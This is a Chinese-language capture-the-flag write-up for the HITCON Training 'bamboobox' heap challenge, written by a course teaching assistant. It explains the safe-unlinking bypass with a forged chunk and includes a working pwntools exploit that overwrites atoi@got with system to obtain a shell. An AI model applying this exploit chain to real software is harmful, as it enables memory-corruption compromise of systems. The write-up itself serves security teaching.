Write Up | HITCON Training Lab - bamboobox

这是我当软件安全课程助教时,在堆溢出内容后布置的一道题目,二进制文件在此。题目考察的是堆溢出safe Unlinking的问题。

堆的基本结构 (Ptmalloc2)

堆块的基本结构如下图所示,其中包含如下几个字段:

  • mchunk_prev_size: 如果当前堆块物理相邻的前一个堆块为空闲的话,此字段存储了前一个堆块的size;否则,该字段作为前一堆块的一部分用于存储数据。
  • mchunk_size: 记录当前堆块的size,大小必须为2*SIZE_SZ的整数倍(SIZE_SZ: 32位下4个字节、64位下8个字节)。由于size的大小特点,mchunk_size表示当前堆块大小时的低三位总是为0,因此将这三位利用起来作为标志位;其中,最低位是PREV_INUSE,表示物理空间上前一个堆块是否被分配使用。
  • fd: forward的简写,当前堆块处于空闲时,fd指向下一个空闲的堆块。
  • bk: backward的简写,当前堆块处于空闲时,bk指向上一个空闲的堆块。
  • fd_nextsize: 在空闲的large chunk中使用,指向下一个更大的空闲堆块。
  • bk_nextsize: 在空闲的large chunk中使用,指向上一个更小的空闲堆块。
struct malloc_chunk {
    /* Size of previous chunk (if free).  */
    INTERNAL_SIZE_T mchunk_prev_size;
    /* Size in bytes, including overhead. */
    INTERNAL_SIZE_T mchunk_size;
    /* double links -- used only if free. */
    struct malloc_chunk* fd;
    struct malloc_chunk* bk;

    /* double links -- used only if free. */
    struct malloc_chunk* fd_nextsize;
    struct malloc_chunk* bk_nextsize;
};

Safe Unlinking问题

当两块物理相邻的堆块空闲时,会发生合并(Fast Bin不会),堆块的合并操作如下:

#define unlink(P, BK, FD) { \
  FD = P->fd;  \
  BK = P->bk;  \
  FD->bk = BK; \
  BK->fd = FD; \
}

以64位为例,mchunk_prev_size、mchunk_size、指针长度均为8字节;故fd距离堆块起始位置的偏移为0x10个字节,bk距离堆块起始位置的偏移为0x18个字节。如果我们让fd处值为free@got地址-0x18,bk处的值为shellcode的地址,那么在unink时会发生如下操作:

FD = P->fd // FD = address of free@got - 0x18
BK = P->bk // BK = address of shellcode
FD->bk = BK // (address of free@got - 0x18 + 0x18) = address of shellcode
BK->fd = FD // (address of shellcode) + 0x10 = address of free@got - 0x18

可以看到,在这种攻击方法下,free@got的值被更改为shellcode的地址。不过,这只是理想的情况,实际上在进行unlink时会进行如下检查:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                    
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);

因此,我们对fd与bk的赋值不能随便选择,而应满足上述检查。假设我们找到了内存中的一个指针ptr指向堆块P,我们设置fd的值为(&ptr - 0x18),设置bk的值为(&ptr - 0x10),那么:

FD = P->fd = &ptr - 0x18 // FD设置为ptr地址低0x18字节的地址(不是指向)
BK = P->bk = &ptr - 0x10 // BK设置为ptr地址低0x10字节的地址
// 故FD->bk与BK->fd均取到ptr的地址,如下:
FD->bk = (&ptr - 0x18) + 0x18 = &ptr 
BK->fd = (&ptr - 0x10) + 0x10 = &ptr
// 至此,满足 FD->bk、BK->fd、ptr均指向堆块P 

可以看到,这样的赋值使得我们可以绕过检查,那么,在这种赋值下进行unlink发生的事情如下:

FD->bk = BK // ptr指向ptr低0x10字节的地址
BK->fd = FD // ptr指向ptr低0x18字节的地址

最终的效果是ptr指向ptr低0x18字节的地址。

解题

首先对二进制进行简单分析如下:

(base) ctfer@0ff627340865:~/ctf$ checksec bamboobox
[*] '/home/ctfer/ctf/bamboobox'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

二进制栈不可执行(NX enabled)、开启栈保护(Canary found),GOT是可更改的(Partial RELRO)。

通过对二进制进行逆向,发现在函数change_item中存在漏洞。当修改程序中某一项时,iVar2是用户修改后item的长度,程序按照iVar2的长度读取输入,但是,此时的buffer长度仍是修改前的长度。因此,存在堆溢出。

undefined8 change_item(void) {
    ......
    printf("Please enter the index of item:");
    read(0,local_28,8);
    iVar1 = atoi(local_28);
    if (*(long *)(itemlist + (long)iVar1 * 0x10 + 8) == 0) {
        puts("invaild index");
    } else {
        printf("Please enter the length of item name:");
        read(0,local_18,8);
        iVar2 = atoi(local_18);
        printf("Please enter the new name of the item:");
        sVar3 = read(0,*(void **)(itemlist + (long)iVar1 * 0x10 + 8),(long)iVar2);
        *(undefined *)((long)(int)sVar3 + *(long *)(itemlist + (long)iVar1 * 0x10 + 8)) = 0;
    }
    ......
}

并且由如下add_item函数中的操作可知,itemlist(地址为0x6020c0)存放用户输入的item[0]的length,itemlist+0x8存放item[0]的buffer。在上面绕过Safe Unlinking的分析中,我们需要找到一个内存中的指针使其指向堆块起始位置(即上述的P),这里,我们可以选择itemlist+0x8指针,因为我们可以通过修改item[0]的buffer来更改它指向的内容,方便下一步伪造堆块。

undefined8 add_item(void) {
    ......
    if (num < 100) {
        printf("Please enter the length of item name:");
        read(0,local_18,8);
        iVar1 = atoi(local_18);
        if (iVar1 == 0) {
        puts("invaild length");
    }
    else {
        for (local_24 = 0; local_24 < 100; local_24 = local_24 + 1) {
            if (*(long *)(itemlist + (long)local_24 * 0x10 + 8) == 0) {
                *(int *)(itemlist + (long)local_24 * 0x10) = iVar1;
                pvVar2 = malloc((long)iVar1);
                *(void **)(itemlist + (long)local_24 * 0x10 + 8) = pvVar2;
                printf("Please enter the name of item:");
                sVar3 = read(0,*(void **)(itemlist + (long)local_24 * 0x10 + 8),(long)iVar1);
                *(undefined *)((long)(int)sVar3 + *(long *)(itemlist + (long)local_24 * 0x10 + 8)) = 0;
                num = num + 1;
                break;
            }
        }
    }
    ......
}

注意,itemlist+0x8指针确实也指向了一个堆块,但是是块的用户内容区(即堆起始位置偏移0x10处),为了让itemlist+8确实指向一个堆块的起始位置,我们伪造一个堆块,伪造的内存布局如下图所示:

在伪造堆块后,我们对item[1]的buffer进行释放,促使item[0]上伪造的堆块与item[1]的buffer所在堆块进行合并,正如之前分析的那样,结果是ptr指向ptr低0x18字节的地址。该程序中,使用了atoi函数对用户输入的选择进行字符对数字的转换。为了能够获得shell,我们试图把atoi@got改为system函数,这样在选择选项界面输入/bin/sh时,实际运行的代码为system("/bin/sh")。

如前所述,目前ptr指向ptr低0x18字节的地址。我们通过change_item函数修改item[0]的buffer,那么从偏移0x18开始修改的其实就是ptr自己。这样,我们让ptr指向atoi@got,如下图所示。再调用show_item时,atoi@got的值就会被打印出来,我们根据atoi的偏移即可计算出system函数的位置。这时,ptr已经指向atoi@got,我们再把system的地址写入ptr,就可以实现调用atoi时实际调用system函数。

我们把所有的步骤拼接起来,使用pwntools完成操作,代码如下:

from pwn import *

context.log_level = 'debug'
context(arch='amd64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']

r = process('./bamboobox')
# gdb.attach(r)
elf = ELF('./bamboobox')
libc = elf.libc

def show():
    r.sendlineafter("Your choice:", "1")


def malloc_chunk(length, value):
    r.sendlineafter("Your choice:", "2")
    r.sendlineafter("Please enter the length of item name:", str(length))
    r.sendlineafter("Please enter the name of item:", value)


def edit(index, length, value):
    r.sendlineafter("Your choice:", "3")
    r.sendlineafter("Please enter the index of item:", str(index))
    r.sendlineafter("Please enter the length of item name:", str(length))
    r.sendlineafter("Please enter the new name of the item:", value)


def free_chunk(index):
    r.sendlineafter("Your choice:", "4")
    r.sendlineafter("Please enter the index of item:", str(index))


malloc_chunk(0x80, "")
malloc_chunk(0x80, "")
malloc_chunk(0x80, "")

raw_input("after malloc three 0x80...")

ptr = 0x6020c8

# construct fake chunk
fake_chunk = p64(0) # prev_size of fake chunk
fake_chunk += p64(0x81) # size of fake chunk
fake_chunk += p64(ptr-0x18) # fd of fake chunk
fake_chunk += p64(ptr-0x10) # bk of fake chunk
fake_chunk += b'0'*0x60 # padding
fake_chunk += p64(0x80) # prev_size of item[1]
fake_chunk += p64(0x90) # size of item[1]
edit(0, len(fake_chunk), fake_chunk) # leverage the heap overflow

# free item[1] to trigger unlink
free_chunk(1)

# expose the address of atoi
atoi_got = elf.got["atoi"]
payload = p64(0) * 3
payload += p64(atoi_got)
edit(0, len(payload), payload)

# use show_item to expose 
show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil("\x7f")[-8:].ljust(8, b'\x00'))

# calculate the address of system
libcbase = atoi_addr - libc.symbols['atoi']
system_addr = libcbase + libc.symbols['system']

# fill in the address of the system function
edit(0, 0x8, p64(system_addr))

# atoi("your choice"), which actually is system("/bin/sh")
r.sendline("/bin/sh\0")
r.interactive()
r.close()